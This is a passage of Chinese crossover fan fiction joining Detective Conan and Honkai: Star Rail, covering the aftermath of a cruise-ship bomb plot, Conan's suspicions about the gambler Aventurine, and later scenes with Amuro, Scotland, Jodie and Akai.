黑羽快斗的道德标准很高,但不至于会把导致有人死亡的过错都架到自己身上、进行内耗——他很清楚的知道,上村圭佑为自己的死亡也出了不少的力。 砂金算不上什么好人,但也没有罪大恶极。 上村圭佑不想着要幸之冠,不去绑架砂金,不把砂金推下船……他也就不会死。 换句话说,上村圭佑的死算得上是咎由自取。 黑羽快斗只是无法认同砂金的行为准则,可还没到恼怒地要弄死砂金、给死去的上村圭佑报仇的那种地步, 怎么说他也是个犯罪分子,道德标准再高也不会有那种强到可怕的“正义感”。 更何况要是砂金赌输了……上村圭佑将害死的人数会远超他自己一人——大型游轮如果出现爆炸,那可不是个好玩的事。 黑羽快斗他分得清轻重。 …… 攀爬到最高处,基德将怀里还是一副柔弱姿态的砂金推到了甲板上,微微缓了缓气, 如此持续了一天之久的混乱闹剧终于彻底结束,被砂金有意搅浑的池水也可以静下来了。 “还有件事,”砂金揉揉被黑羽快斗解开了束缚的手腕,“把幸之冠给我……看在我救了一船人的分上,它应该是我的奖励品。” 黑羽快斗切了一声,“你果然也是为了这个来的。”解决炸/弹问题也只是顺手而为吧。 不怎么爽、但还是手腕一转,将真正的头冠放在了砂金面前——黑羽快斗之前交给上村圭佑的,只是一件仿品道具而已。 至于不给砂金? 为了这么一个头冠,砂金都能把整艘船弄个鸡犬不鸣,搞得侦探不是侦探、怪盗不是怪盗、绑匪不是绑匪、人质不是人质、甚至死亡的受害人都不算是受害人…… 要是黑羽快斗拒绝,天知道砂金还能用出什么要命的点子来夺取头冠。 而且……黑羽快斗扫了一眼甲板对面听到爆炸声已经开始聚拢过来的铃木次郎吉等人,扬声道,“那这枚头冠,就拜托你转交给铃木老先生了!” 说罢,立在栏杆上的怪盗后仰着倒向船外。 有他这句传到众人耳中的话,砂金不可能当着众人的面私自吞下头冠,在月亮刚出来时就已经确认过头冠上的宝石并非“潘多拉”的基德正好借此机会、物归原主…… 黑羽快斗拉开了斗篷下的滑翔翼, 怪盗在众目睽睽之下,化身成一只白色的大鸟乘着海风飞向他处、彻底地消失着众人的视野之中。 至于铃木次郎吉之后会不会为了感谢砂金、而把头冠送给砂金……那是铃木次郎吉自己的事,黑羽快斗也不打算去管。 “那就,”砂金轻轻打了个敲指,活动着因为捆绑过久而有些僵硬的手掌,目送怪盗退场, “谢了,朋友。” …… 绕到了众人视野的死角,从船身的另一侧甲板悄悄重回到船上的黑羽快斗微微一顿,伸手从装满了各种道具的口装里摸出了一件意外之物, 对了对月光,金属的特制筹码亮闪闪的仿佛是一件特殊的工艺品。 这是孔雀给他的? 想起了最后砂金那飘进他耳朵里的简短几个词汇,黑羽快斗弹起硬币型的筹码、再次抓握在了手里,勾唇笑了笑——朋友吗? 虽然不是同类人,但与其成为敌人, 这个“朋友”也不是不能一交。 第119章 视线回到娇弱的砂金先生这里…… 砂金故作踉跄地起身,好像站不稳一样、扶着甲板一侧原本用来盖住救生艇的雨蓬支架和栏杆向甲板内的众人那边走去, 防水布被砂金拽得有点吱吱作响,不远处某人的心脏也在这一瞬间紧绷起来…… 那人, 正是柯南。 …… 怪盗基德他……为什么会提前行动? 在铃木次郎吉那些人急急慌慌的到处追着基德的影子跑时,柯南想到的是上述那个问题, 曾经和基德交过手的柯南很熟悉对方的“犯罪风格”, 但基德这次的行动完全不符合他以往的行为规律, 事出反常, 必有原因。 一定有什么“特殊”的原因,导致基德做出了以往他不会做出的决定…… “那砂金先生失踪的事……”毛利兰忧心忡忡, “我们该怎么办?”船上的其他人都被基德吸引走了注意力,现在知道砂金出事了的人只有他们一家。 “照旧报警, ”毛利小五郎洗了把脸、清醒清醒,随后对毛利兰道, “让警察他们先过来,其他的容后再议。” 不管是什么阴谋诡计,警方开直升机过来也是要花时间的,所以现在最好让警方先出发,省得需要他们的时候,他们却还在路上。 “但是,”毛利兰更担心地问道:“万一不是基德发现砂金先生知道了他的身份,才暂时把砂金先生藏起来的,而是真的有其他坏人绑架了砂金先生怎么办?” 毛利兰倒希望是基德对砂金下得手了,至少从铃木园子喜欢基德而告诉她的那些事迹中可以知道,基德不会真的去伤害无辜的人, 那样等基德完成目的离开后,砂金先生也就能安全的回来了。 最怕的就是砂金先生失踪和基德之间没有直接关系——虽然按照一般人的思考方式来说,这种可能性几率微乎其微。毕竟砂金前脚失踪,后脚基德就带着假录音上门了,谁会不去怀疑是基德绑架的前者呢? 但毛利兰的担忧也并不等于零可能。 “警察他们都到了的话,万一……那会不会让那个绑架砂金先生的嫌疑人心生警觉?”毛利兰不擅长推理,她只是在设想最糟糕的可能。 游轮比不了别的地方,落个直升机、或者是再对接别的船只,那种阵势和动静不可能不引人注目。 毛利小五郎便道:“那就让警察以协助抓捕基德的名义来登船!” 这的确是个方法,柯南皱眉,可他总觉得事情可能等不到警察他们登船再去解决——并非急救必要,他们也没有证明砂金被绑架的铁证,等审批程序走完、直升机追上游轮,那起码天都要黑了…… 等一下,这里有问题! 柯南顿然开朗,问题在于“时间”! 基德一开始并不想让他们发现砂金失踪了、所以才会拿出假录音来隐瞒砂金一夜未归的真相,这说明基德暂时也不想让警察介入到这件事里, 而后来应该是因为小兰的反应有些问题,让基德意识到了自己已经暴露,所以基德为了赶在警察登船之前行动、才在离开他们不久后马上便去展厅提前开始了“演出”! 那么原因呢? 又为什么要赶时间? 一种可能是,怪盗基德怕警察……哈,这种猜测有些像冷笑话,基德已经不止一次在众多警察的围捕之下、成功带着宝石出逃了, 连毛利兰都不会去考虑警察会不会“惊动”基德这种事。 那就剩下另一种可能性更大的猜测——怪盗基德在怕的是、警察惊动了另一方人, 比如说,真正绑架了砂金的犯人! 毛利兰“万一”的最糟糕设想成真了——在“基德盗窃”与“砂金失踪”的这两起案子中,还有一个将之串联起来的第三者! 而且根据“假录音”这件事的判断来看,基德很有可能……不,他绝对就是知情人,不然怎么会怕警察惊动对方呢? 从结果论证推理,再从猜测推理结果,这一切就都说得通了。 所以在大部人的注意力都放在基德身上,毛利小五郎和毛利兰在联络警方之时,柯南凭着自己小不点的个头开始四处观察、寻找砂金这个人质的下落。 基德肯定无法一个人去做什么调查了,所以只能靠柯南来努力。 在此期间,柯南被生气被打扰了的客人关在客房门外七次,被毛利兰提着耳朵叮嘱不要乱跑五次,被毛利大叔一把拎起警告小孩子不要给大人们添乱一次…… 柯南一边装小孩继续找线索,一边不知道第几次地再次暗骂那些可恶的黑衣人——如果,他还是工藤新一那就好了! 最后功夫不负有心人,也终于让柯南找到了线索。 有人无意中见到过307号房的那位先生鬼鬼祟祟地出门、不知道做什么又很快的回来,因此那位住客还好奇过对方是不是基德假扮的, 不过可惜的是,另一边鸡飞狗跳地抓捕现场出现了基德的身影,基德不可能再出现在307,隔壁住客只好遗憾自己无缘和大名鼎鼎的基德来个“巧遇”了。 307房……那不就是砂金的隔壁吗?柯南一听就发现了不对,那是砂金留给Tulpa的房间,不应该有人居住才对。 柯南去敲了307的门,但无人应答。 又在多方打量和试探过后,柯南才从诸多情报信息中分析得知了那个神秘住客的身份——不是砂金本人,砂金的那双眼睛辩识性很强、不会让人记不住人, 而那人正是曾和砂金闹过“小矛盾”的上村圭佑。 更让柯南感到微妙的是……除了在门廊有人巧遇过上村圭佑之外,船舱下层、甲板、船长室附近都曾有人见过上村圭佑, 上村圭佑这个家伙,好像一整天都在全船上下、到处乱逛? ? ?柯南后来依据对方的踪迹检查过了很多区域,也并没有发现有什么异常, 柯南搞不懂上村圭佑究竟在做什么。 在发现基德在有意无意地把人从船两侧的走道甲板上引开后,柯南放弃了继续寻找踪迹不定的上村圭佑的下落,转而去甲板那边进行蹲守, 基德引走看守肯定是有目的的! 好消息是柯南的推理没有出错,他的确等到怪盗基德了, 坏消息是基德迎面上来就放了颗有麻醉作用的烟雾弹,将柯南连同几位看守一起放倒。 可能是顾及柯南是个小孩子,基德没向柯南下猛药,一声爆炸便将柯南震醒了……但清醒的时候也不算是一个好时机——追过来的柯南正好看见基德从船边伸出了一只手、抓住栏杆准备带着砂金回到甲板上的那一幕。 在基德登上船、抬头环顾四周之前,被基德迷昏过的柯南下意识把自己藏在了旁边的雨蓬底下,暗中悄悄地接近两人…… 谁料柯南却听到了砂金说, 【把幸之冠给我……】 平地惊雷,柯南没想到砂金竟然也是冲着幸之冠来的! …… 他好像偷听到了什么不得了的内容……柯南咽着唾沫,窝在防水布下的身体一点一点地小心挪动着试图远离砂金,但砂金的脚步声还是越来越近, 头顶的布料掩护好像随时可能会被站不稳而摔倒的砂金扯掉一样,柯南看着那双做功优良的皮鞋停在了他身边,死死地屏住了呼吸、一条接一条的念头闪过大脑…… 砂金这是真的站不稳,还是……怀疑有人藏在这边,才故意装模作样来试探的? 他被发现了吗? 第120章 “砂金先生!你感觉怎么样?!” 感谢小兰! 柯南都提到了嗓子眼处的心又落了下去,动作最敏捷、跑得最快的毛利兰及时上前扶住砂金、免于柯南直接暴露在大众的视线之中。 “没什么大碍,”砂金摇了下头,“就是被绑得久了,四肢有点发麻……” “是基德那家伙干得吗?!”铃木次郎吉紧随其后冲了过来,大噪门子的嚷嚷着、怒意比基德偷了他一仓库的宝石还要盛, “可恶,他太让我失望了!” “不不不!铃木先生不必误会!”砂金连连摆手,苦笑着解释道:“是另一个可恶的家伙绑架了我,还好有基德相救、不然我可就要丧身大海了……” 铃木次郎吉意外地松了口气,“我就说嘛, 那家伙不会干那种事……” 闻言、挤在后面的铃木园子悄悄无语了一下, 斗得久了, 铃木次郎吉这个自认的怪盗基德的老对手,反而是最不能接受对方成为杀人犯的那一个。 “那……那场爆炸是怎么回事, ”毛利小五郎摸摸下巴, “小兰,铃木老先生,还有砂金……我们找个地方再详聊吧。”主要是找个空闲、不至于人多眼杂嘴也杂的地方。 铃木次郎吉摆摆手,“没问题!”这正合他意,要是万一有个什么意料之外的情况,他也方便控制舆论传播不是吗。 砂金也没拒绝毛利小五郎的提议,带上幸之冠、被众人拥着离开海风呼啸的甲板,临走前砂金还不忘轻轻撇了一眼身侧的防水布, 某人的心跳声在砂金耳朵里和打鼓都没什么区别了,明显得不能再明显。 吓一吓……也算让柯南意识到某些后果的严重性吧? 砂金想,一个人闯来闯去的,柯南他是真不怕万一和犯人撞到一起了该怎么办——砂金处理炸/弹的时候就意外碰见过对方两次,柯南没发现暗中藏着的砂金、砂金倒是把上窜下跳的柯南看在了眼里。 柯南、或者是工藤新一确实很聪明,但砂金可不希望见到对方因为过于聪明、而把自己陷入到危险之境中, “朋友”这种可贵的资源,少一个……可就真的是少一个了。 …… “……大概事情是这样的,” 铃木家的私人会客厅内,从雨蓬下溜走混进人群里的柯南当然不会甘心让案件就这么在他眼皮子底下也同样溜走, 借着毛利小五郎的名头,柯南悄悄地也跟在大人们身后进了会客厅,听着了砂金关于整个事件的讲叙。 …… 砂金自叙,最先因为他和那位上村圭佑先生起了点小争执,所以在发现上村圭佑似乎总是在跟着他后、砂金自然而然地心生了戒备, “于是又在一次意外相遇后,我发现上村圭佑拿走了我身上的那张307客房的房卡。” 秉着探求原因的好奇心,砂金悄悄跟上了上村圭佑,却发现对方竟然从307的房间里带出一些危险的物品安装在了游轮上。 “好在我认识的几位警官朋友有教过我一些简单的拆解技巧,我不会排弹、但是把它们先挪到一个安全的地方还是可以的。” 砂金拍拍胸脯庆幸道,“正好我看见船尾那边不知道什么时候栓了个救生艇,所以我顺手就把炸/弹都放在救生艇上了。” “随后我便打算等转移完炸/弹后就把救生艇放出游轮,再去找铃木老先生他们告诉大家这件事,这样万一炸/弹爆炸也不会造成太大的损失。” “等一等,”毛利小五郎嘴角狠狠一抽,打断了砂金,“你发现有炸/弹这种东西,就没想着要告诉别人、找人过来帮忙吗?你自己一个人也敢上?” 好一个“顺手”,一般的正常人可真不敢顺这个手! “当然想了呀,”砂金既无奈又委屈,“可当时大家都在忙着追基德,我一个人也不知道可以找谁帮忙、更不敢轻举妄动,不然要是惊扰了那个家伙,闹个鱼死网破、直接引爆炸/弹,那我岂不是成最大的罪人了,” “但把炸/弹就那么放着肯定也不行,谁知道炸/弹会不会在我去找人帮忙拆除它的空隙里爆掉?” 所以砂金这才大胆的独自行动了?毛利小五郎的心情一言难尽,不过考虑到砂金也是为了大家的安全着想,也不是不能理解。 砂金继续无奈叹气,“结果我一时大意……” “还是被上村圭佑发现并打昏了,我便成了上村圭佑的人质,他用我威胁基德、让基德把幸之冠交出来,” “当时基德已经将那家伙想要的给他了,”砂金说道,“但他还是把我推到了船外,基德为了救我才也跟着跃下船的,” “至于后来的爆炸嘛……” 砂金皱眉,用一副苦思冥想、不太清楚情况的样子问道,“难道上村圭佑最后还是把炸/弹点着了?” …… 砂金保证,他所说的句句可都是实话呀。 …… 听到砂金最后的疑问,毛利小五郎彻底的沉默了,他好像意识到了一个问题, “你……把炸/弹都放在了救生艇上?”铃木次郎吉也意识到了这个问题,表情显得有些僵硬,“不会那么巧吧……” 上村圭佑逃跑开的、不会就是砂金放炸/弹的那艘救生艇吧? ! 砂金歪了歪头,“是有什么问题吗?” 这问题可就大了。铃木次郎吉马上叫人去排查船上的客人和救生艇的数量位置有没有发生变化, 而看到调查结果的毛利小五郎和铃木次郎吉双双对视,眼里都充满了复杂的情绪, 船上只少了一艘救生艇,也只少了一位客人、上村圭佑——上村圭佑那家伙真的在无意中开走了那艘满是炸/弹的船! “所以,”铃木次郎吉小声对毛利小五郎说道,“上村圭佑只是发现砂金先生在跟踪他,但没发现炸弹也都被砂金先生转移到了他逃跑时要用的那艘船上,才意外自己把自己炸死了的?” 毛利小五郎顿了顿,掏出手机开始发短信联系自己的律师老婆——英理,如果一个人在无意识的过程中,意外让犯人自杀了,这个人算过失致人死亡罪吗? 船上的信号不太好,毛利小五郎等了好一会儿,才收到妃英理的回信, 妃英理:? 铃木次郎吉也看到了妃英理的回信,老头子抹了一把脸,“如果砂金先生所言非虚……要是有人因此对砂金先生提出上诉,那就都交给老夫处理吧,” “不管是无罪辩护、还是交保释金,我铃木次郎吉全权为砂金先生负责!” 砂金是为了全船人的安全才去冒险的,仅凭这一点、铃木次郎吉就不可能让砂金出事! 120-140 第121章 看砂金的样子, 他说的……好像皆是实话? 会客厅的沙发背后,柯南皱着眉头、一脸凝重地独自思考着,本就是混进来旁听的柯南当然不敢在砂金说话的再多插嘴,不然提醒了毛利小五郎这还有个“小孩子”、再被丢出了怎么办。 在柯南看来, 某些地方上砂金没有必要说谎, 因为后续警方必然会进行指纹调查、追寻炸/弹的实际来源、上村圭佑的资金流动等, 说谎反而平添暴露自己的风险——在这些方方面面进行证据造假, 还不如直接诱导上村圭佑去买炸/弹呢。 那么先不考虑砂金有没有诱导犯罪,炸/弹应当就是上村圭佑购买并携带上船的。 可砂金越是坦然,问题越多…… 比如说, 时间问题。 听那个叫“伯劳”的保镖所言,砂金应该是昨晚便“失踪”了,但砂金却说他是在处理完炸/弹后被绑架的、且这个时候大家都还在追捕基德,然后基德又是今天早上才行动的…… 甚至在柯南的推理中, 基德可能也是因为砂金被绑架才提前采取行动的, 结果这恰好又方便了砂金浑水摸鱼。 可单拎出来似乎又没有什么问题,砂金失踪一事只是伯劳一面之词,如果砂金说是伯劳太过紧张他的安全而误会了,那伯劳身为保镖也会顺着砂金的意思改口, 柯南没有实际证据证明砂金“被绑架”的时间早于基德行动之前, 至于基德提前行动的原因……柯南嘴角抽了抽,更加无奈了, 不然难道让他去把基德揪出来,让基德当着警察的面出言说明自己为什么要在那个时候偷东西? 别天真了,基德是疯了才会那么配合他。 一个词汇, 出现在了柯南的脑袋里,那就是——蒙太奇式谎言! 砂金或许所言真的都是事实,但他将各“片段”进行了颠倒和拼接、置换了因果,而他偏偏无处揭穿。 砂金什么都没做,低调的不成样子,但砂金又什么都做完了……柯南无可奈何地发现,他竟然完全拿砂金没办法, 砂金这个人,就是一个明晃晃的“谜”字。 说他是个坏人吧,柯南又感觉没有那么绝对;说他是个好人吧,那家伙又实打实的存在着难解的问题……最重要的是,柯南至今没看懂砂金行为处事的理由, 一切行动,都该有着“动机”, 那对方为什么要谋取幸之冠?柯南沉入了新的疑惑与不解中,那幸之冠对砂金还有什么特殊作用或意义吗? 瞥视了一眼沉思的小家伙,又看了看鬼鬼祟祟凑在一起商量对策的铃木次郎吉和毛利小五郎,砂金小小地打了个哈欠, 他有点困了。 …… 事件的最终结局依旧走在砂金的预料之内, 在警方后续的调查中,警方找到了上村圭佑购买炸/弹,并隐瞒身份在船上做了很长一段时间工人的证据,证实上村圭佑确有犯罪其事,砂金仅是见义勇为而已, 又有铃木次郎吉这位铃木集团的重要股东亲自背书,加之妃英理、妃大律师的咨询协助,砂金的行为构不上刑事犯罪, 甚至因为上村圭佑最后破斧沉舟一般卷走了上村家仅剩的全部财产,并全都用于采购炸/弹和船票,从小娇生惯养的上村夫人就差上街乞讨了才勉强活下来,因此也恨及了上村圭佑,并没有对砂金提起民事诉讼。 当然,砂金私下也有补偿上村夫人巨额的钱财,这也是上村夫人不再追究上村圭佑之死的重要原因之一——砂金给的可比打官司判赔的要多得多, 再恩爱的感情,在自己差点因对方的愚蠢之举而饿死的绝望下都将荡然无存。 “财富啊,可真是个好东西……” 砂金再一次肯定了自己,这时的他已经坐在家里悠闲地比划着幸之冠考虑该怎么把嵌在上的基石扣出来了。 至于幸之冠为什么在砂金手上? 这头冠虽说是个艺术品、收藏品,但本身除了年代久远和颇具神秘色彩的传说之外,并没有什么实际价值,上面的宝石都是最不值钱的砂金石,主体更是普普通通的银,工艺也没有特别的精良, 铃木次郎吉从自己的好友那买它时并没有花多少钱,要不是怪盗基德为它发过预告函,头冠本身都不够格和其他宝珠一同被展出在铃木家的珠宝展上。 砂金这又是被绑架又是差点摊上命案官司的,几次差点把自己的命都搭进入去了,最后只是觉得这头冠和自己有缘、给了他好运,想要买下它进行收藏…… 要不是上村圭佑想要基德手里的幸之冠,那砂金他肯定就被上村圭佑杀害灭口了。 铃木次郎吉还能有什么理由拒绝砂金这个微不足道又很合理的小请求?毕竟砂金也没有要什么过分的东西。 “人情,也是个好东西。” 硬是要买,那不管砂金开什么价、要面子的铃木次郎吉先生都不会轻易将自己的藏品售于砂金一个陌生人;但现在,铃木次郎吉连砂金的钱都没收,爽快就把基石给砂金送了过来。 除了到手的基石碎片之外,砂金最满意的地方便是和基德这件珠宝大盗交上了“朋友”,在基石形同宝石的前提下,说不定以后什么时候就又要用得上基德帮忙了呢? 砂金在灯光下比量了一下刚卸下来的小小碎片,将它和其他碎片摆在一起拼凑了一下, 巴掌大的基石外型差不多能拼个完整了,少得也不多……不知道还要找多久的砂金感觉已经看到了成功收集完基石碎片的未来! 芬戈妈妈保佑,剩下的碎片也都能像这几次一样好运的自动送上门来就好了…… 嗯,不好运也没关系, 啪叽一声关上装着基石的盒子,砂金很看得开,一切听从母神的安排。 —————————— “喂,我已经出机场了……” 机场外的马路边上,拉着个小行李箱、戴着兜帽口罩的年轻青年拨通了电话,“需要我到哪里等你吗。” [七点钟方向。 ] 青年依言转过头看向那端,没多一会儿、一辆白色的马自达轰鸣着以一个漂亮的甩尾停靠在了路边,金发的黑皮好友坐在驾驶室里,从窗户探出胳膊向他招了招手。 青年快步上了车,摘了伪装向好友笑了笑,“好久不见啊,波本。” “好久不见,”透过后视镜,安室透与一双温柔的蓝色猫眼对上视线,也笑道, “苏格兰。” 第122章 “国内情况怎么样?” 诸伏景光翻了翻车座,找到了常用的信号屏蔽器、确认这个小装置仍在正常工作后又继续道,“有没有什么特殊的事情发生?” 没办法,做这一行的不能不小心翼翼。 “组织里没什么大动静,上次和你说过的、都还是老样子, ”安室透一边开着车,一边和好友闲聊道, “你那边呢?” “我没遇上麻烦, 不过FBI那边有些问题……”诸伏景光简单推测了一下, “可能是你突然回国一事引起他们的注意了吧?” 莱伊暴露了,波本和苏格兰为了避嫌以及追着莱伊打也就转去了外国发展、这几年基本也是在国外活动得多,这段时间波本毫无征兆消失在美国境内,自然也引起了FBI的注意。 “有情报人员说赤井秀一现在不在美国,组织上面怀疑他跟着你追回来了。”所以诸伏景光这个波本的老搭档也跟着被赶回国了。 组织内部不得不感叹一下这三瓶威士忌“他逃、他追、他形影相随”的爱恨情仇——非特殊情况下,这三个“他”都可随意指代任一威士忌、或进行多重排序组合。 “那么……”诸伏景光更放松了一些, “私事?” 安室透嗯了一声, “私事。” 两人相隔两地之时的聊天机会并不多,基本上也都是长话短说,也就在有了八木海的加密协助下才偶尔叫叫“ hiro”和“ zero” 、互相补充一下能量,所以私事还真没怎么聊过。 诸伏景光终于把自己疑惑了好久的问题问出声了,“那个大侄子……是怎么回事?” 松田和萩原看上去像是能和模型过一辈子,现在应该也没有技术能让人自交繁殖,唯一结婚了的班长也不会这么快就毫无征兆地蹦出来了个孩子吧? “……呃, 现在不是了,”安室透想起来那时候去捞砂金的说辞了,他承认、当时那只是他的吐槽而已, “班长他暂时监管了一个……赌徒?” 安室透不太好评价砂金,最后只好继续用砂金的自我介绍概括了一下, “我给他收拾了不少烂摊子,等你见到他、就知道他有多让人难以想象了。” 诸伏景光轻笑出了声,懂了幼驯染是在暗自不爽、所以就在嘴上占了占人家的便宜,“所以现在算是?” 安室透仔细思考后,道:“合作者。” 他与砂金之间,绝对够得上这个词了。 “那就好好相处吧,”诸伏景光安慰道,“总比多个敌人要好。” 能让自家幼驯染吃瘪后、还愿意承认对方是合作伙伴的人,肯定也非泛泛之辈,虽然诸伏景光不认识砂金、安室透也没细说,但他绝对相信安室透的眼光。 安室透轻点了下头,“谁说不是呢。” 最近砂金出去玩一趟还又玩出事来了,没有一刻是安稳的,要真是做了敌人……不早点除掉对方,安室透都觉得自己睡不安稳。 这也算是一种很高的评价了吧? …… 同一片天空下,帝丹高中的校门口,同样有人正在准备着迎接他人…… “hi!” 带着些奇怪口音和并不标准的敬词的日语响起,“请问您是伊达老师吗?” 娜塔莉从手机上收回视线,抬眼便见到一位戴着方框眼镜、蓝眼金发,衣着干练、外貌秀丽的年轻外国女性一边向她走来,一边朝她招了招手。 娜塔莉再次确认了一眼手机上的通知信息,向对方礼貌地颔了颔首,“是朱蒂·斯泰琳,朱蒂老师吗?” “Yes~”朱蒂看上去很高兴,“真高兴见到您,在您的帮助之下、我肯定会很快就适应我的这份新工作的!” 和看似外国人、但实际性格很柔和内敛以及敏感的娜塔莉不同,朱蒂·斯泰琳表现出的性格得更开朗大方,也更符合大多数人对美国人的刻板印象。 娜塔莉稍稍有点不太适应朱蒂这样的热情,“不用敬语,我也很高兴能有一位新同事。” 今天学校里要来一位新的外教老师,考虑到对方外国人的身份和不太擅长的日语水准,教务那边便拜托娜塔莉这位混血儿来带对方熟悉一下环境和工作,想着两人应该会有些共同话题。 “那我也就不客道了,”看出来娜塔莉性格比较安静的朱蒂收敛了一下,半开玩笑地道,“只要伊达三三别觉得我太过没礼貌就好。” 其实并不讨厌朱蒂、只是性格使然的娜塔莉也道,“没关系,敬词体系对朱蒂老师这样在国外长大的人来说、确实不怎么好掌握。” “那……”娜塔莉侧身想为朱蒂带路,“我们先去办理入职,再熟悉一下校园可以吗?” 朱蒂爽朗地答应下,“当然可以,那就麻烦伊达三三啦~” “没关系,不麻烦的。” 娜塔莉这人看起来还挺好相处的……笑脸盈盈的朱蒂心下却思绪转了许久,就是不知秀想要调查的案件,对方会知道多少了…… 朱蒂当然不是个普通的外教老师,她的实际身份是FBI的探员。 来帝丹高中也不只是为了当老师,更多的是为了……朱蒂轻轻推了下眼镜,看向身边的女性,她更多的是为了能够接近这位伊达老师,以此来进一步接触到…… ——那位突然出现在黑灰地带、一鸣惊人的“孔雀”。 …… 前一日晚 “一个赌徒而已,需要我们这么委婉曲折的去接近吗?”相貌凶恶的卡迈尔抓了抓头发,有些不解自家老大的心思。 “我以为我们到这里,是为了找波本他们的……” 波本和苏格兰最喜欢追着老大跑,所以在发现波本有一段时间没出现后,赤井秀一第一时间意识到,组织必须有什么重要任务、非波本不可,才会将波本召回总部, 而他们的职责说是“给组织找麻烦”也不为过,所以紧追波本回国也不是什么意外之举。 让卡迈尔没看懂的是,他不知道赤井秀一为什么突然对一个“赌徒”起了兴趣。 不仅卡迈尔看不懂,连朱蒂也不理解……不过朱蒂没像卡迈尔探员那样直接问出口,只是同样疑惑地看向自己曾经的爱人, 朱蒂不怀疑赤井秀一的行动都是为了最终目的而行,她只是想听听赤井秀一的这么做的原因。 而被置疑和被等待解答的男人只是点燃了唇边的烟,看着窗外高悬的月亮、脖子上挂着的绿色吊坠在月光下闪烁出星星光点, 赤井秀一沉默片刻才道,“因为……” 第123章 赤井秀一不是个经常做梦的人, 这里的“做梦”不是指经常不切实际的空想,而是指大脑在休息时的正常生理活动。 所以在梦里醒来之时,赤井秀一第一时间并没有意识到自己在做梦——嗯, 其实“清醒梦”也的确并不多见。 但赤井秀一很确信一点, 梦里的“自己”不是自己。 他像是以第三人称为视角的、俯观所有的上帝,静静地看着一名金发异瞳的年轻男性站在一面全身照镜前,有点生疏地打着领结。 职业病,赤井秀一习惯性开始分析面前这个男人有什么特殊的地方——身材消瘦、肌肉甚至撑不起版型标准的西装衬衫,一看便是没经历过什么特殊训练的普通人, 手部也是能够暴露出一个人很多信息的地方,赤井秀一目光转移了一下,将那双正纠结着如何缠绕领带的手和脖侧半掩的纹身看在眼里, 手上小的伤口有很多,有几根手指上什至没有指甲、只暴露出软红色的甲床,手掌有不少老茧疤痕但没有明显的枪茧,袖口处隐隐约约也露着伤痕累累的腕骨…… 总是打成死结的领带似乎让青年有些烦躁,在又一次抽掉那条被揉搓得有些变形了的布条后,青年抓了把头发、疲惫地在一旁的椅子上坐下。 似乎不仅仅是因为打不好领结的这种小事而使青年烦恼…… 赤井秀一的视线顺着青年发呆的方向看过去,不远的衣架上挂着一件破旧不堪的旧衣裳。 好一会儿过去,青年还是再次站起、勉强了给自己系了个不太漂亮的结,推开门准备出去…… “好了爸爸,” 赤井秀一跟着青年刚出门,隔壁的门也开了,一名看上去比金发青年年纪要稍大些的男人无奈地劝阻着想跟着他一同出门的老人家, “我觉得这个结已经很正式得体了, 不需要再尝试第三十四种打法来看看效果了,”男人指了指领口上漂亮的折成了一朵花的领带, “你看,它已经很完美了。” “那当然了,也不想想看我是谁,”穿着考究的老者骄傲地昂了昂头,“我可是莱恩星最有名的服装设计大师!” 男人很给面子的附和着自家老爸:“我绝对相信您的审美!这是我这辈子有过的最好看的领花!” 老者得意洋洋,又顺带吐槽了几句,“也就你小子不愿意继承我的手艺,不然怎么也该学会至少三十五种常见的服饰搭配了……” “哎,可是我实习结束、成功入职p30了唉!”男人一听老者又要老生常谈,忍不住撇了撇嘴,“我这不比在家当个裁缝要强……嘶,痛痛痛!” “爸爸我错了、快松手……我等下还要见上司呢!” 老者啧了一声,松开了揪着儿子耳朵的手,“ p30算什么,别骄傲……我听说你们这一批还有个马上就要升P35了的年轻人,加油好好干吧,” “最后可别竞升不过别人,再灰溜溜地跑回家当你看不上眼的裁缝了。” 老者说得刻薄,但赤井秀一看得到他眼里的笑意,对方其实很满意自己儿子做出的成果,不过是嘴硬心软罢了, 虽然赤井秀一听不太懂P30的具体含义和含金量, 可从老者愿意帮男人尝试上等等三十四种领带打法就可以看出来,老者有多么看重儿子的工作,自豪于自己孩子的成才。 “我会继续努力、升职加薪的!您老就在员工宿舍等我一会儿吧,”男人很是认真地保证道,“等我办好入职手续,再带您去附近圈圈、看看风景……” “风景有什么好看的,”老者摆摆手,“还不如带我去商场看看服饰……你也得多添几身合体的衣服。” “公司会发工作服的啦。” “那能一样吗,”老者念念叨叨,“西服那可是男人的战袍!懂不懂啊、臭小子,没有我……你连个领带都打不好!” “所以我才浪费了好多时间,那只是个领结而已……” “你说什么?” “没什么、没什么……你喜欢什么我带你去就是了,这次也多谢爸爸了。”男人在老者抬起胳膊的揪耳朵警告下连连改口,“那我走了……啊!” 男人的声音戛然而止 闲话很多的这父子俩告完别、终于发现旁边还有个外人了,一双明艳的眸子一瞬间让男人意识到了面前这个不知道旁听了他和老爸聊天多久了的人的身份, 男人面色一下子尴尬起来、马上收回视线不敢再多打量对方,也不知道该怎么和青年打招呼,老者见儿子不说话、也意识到了什么,也保持了沉默。 “不是说要入职去的吗,朋友?” 赤井秀一看见青年勾起了微笑,嘴角的弧度再多一分嚣张、再少一分薄凉,刚刚好处在一种礼貌不显僵硬的温和笑意上, 仿佛之前那个对镜沉默、独自焦躁的青年只是赤井秀一的幻觉似的。 青年继续说道,“快去吧,别让人事等太久,省得被人揪住小尾巴不放。” “是、是的!我这就去——!” 提醒完青年也知道自己是让对方不适的“元凶”,便也很快抬起脚步想要离开,男人刚松口气,却又见青年猛得停下了脚步,头也没回地道,“还有……” 男人马上应道:“我在!请问有什么吩咐?” “领结打得不错,祝你就职愉快。” …… 赤井秀一的视角没有很快离开,他听到了老者和男人的余下的几句闲聊, “那人是你的上司?”老者感叹道,“看起来人性格挺不错的,就是那双眼晴……我好像听谁说过什么……” 但短暂的接触下来,老者觉得对方不像流言传间中说的那种人。 “嘘!老爸,别的别乱说话……”男人知道父亲在疑惑什么,只是不管对方是好是坏、真实为人怎样, 大佬们的“战场”不是他们这种蝼蚁能评价插言的。 “他也就是你提过的那个三个月,从P30爬到P35的狠人!今天应该也是他准备述职的日子了……” “好了,不多聊了,时间……差不多我也该出发了,还好上班报到的地方不在一起,”男人庆幸道,“也还好我没多嘴和你再聊些别的,” “不然让他听到了,我也不用报到了,直接辞职好了……” “知道了、知道了,”老者也就和自己儿子聊聊罢了,他也是见过一些阴暗面的,“忙去吧。” 就是……老者叹了口气,那也是个年少有为的孩子呢, 可惜了。 第124章 看来, 不管是哪里,都会有“不公”啊……赤井秀一想到,从几人的对话之中, 赤井秀一不难分析出金发异瞳的青年现在是何种处境, 青年有着出众的实力与才能, 从对方用三个月的时间就能从男人所说的p30、爬到p35这一点就可见一斑。 但青年并不被身边的大部分人所认可, 